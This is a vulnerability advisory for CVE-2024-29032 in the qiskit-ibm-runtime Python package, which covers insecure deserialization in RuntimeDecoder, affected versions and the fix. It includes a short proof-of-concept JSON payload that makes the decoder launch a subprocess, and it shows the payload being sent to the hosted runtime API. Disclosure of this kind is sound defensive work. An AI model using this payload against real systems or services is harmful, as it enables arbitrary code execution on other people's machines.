`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code
Summary
deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string
Details
RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159
PoC
malicious_data = {
"__type__": "settings",
"__module__": "subprocess",
"__class__": "Popen",
"__value__": {
"args": ["echo", "hi"]
},
}
json_str = json.dumps(malicious_data)
_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder) # prints "hi" to the terminal
(where obviously "echo hi" can be replaced with something much more malicious)
notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)
service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status()) # prints "JobStatus.QUEUED"
Impact
i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | qiskit-ibm-runtime | >= 0.1.0, < 0.21.2 | 0.21.2 |
References
- https://github.com/Qiskit/qiskit-ibm-runtime/security/advisories/GHSA-x4x5-jv3x-9c7m
- https://nvd.nist.gov/vuln/detail/CVE-2024-29032
- https://github.com/Qiskit/qiskit-ibm-runtime/commit/b78fca114133051805d00043a404b25a33835f4d
- https://github.com/Qiskit/qiskit-ibm-runtime
- https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159
- https://pypi.org/project/qiskit-ibm-runtime
- https://github.com/advisories/GHSA-x4x5-jv3x-9c7m
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L- Weakness (CWE)
CWE-502- Platform
- Python (PyPI)
- Package
qiskit-ibm-runtime- Disclosed
- 20.03.2024
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1858 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-x4x5-jv3x-9c7m - CC BY 4.0
Vulnerability history: qiskit-ibm-runtime
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 03.2024 03.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 1
- Low 1
Disclosures per year
- 2024: 2
- 2025: 0
- 2026: 0
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`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code this entry
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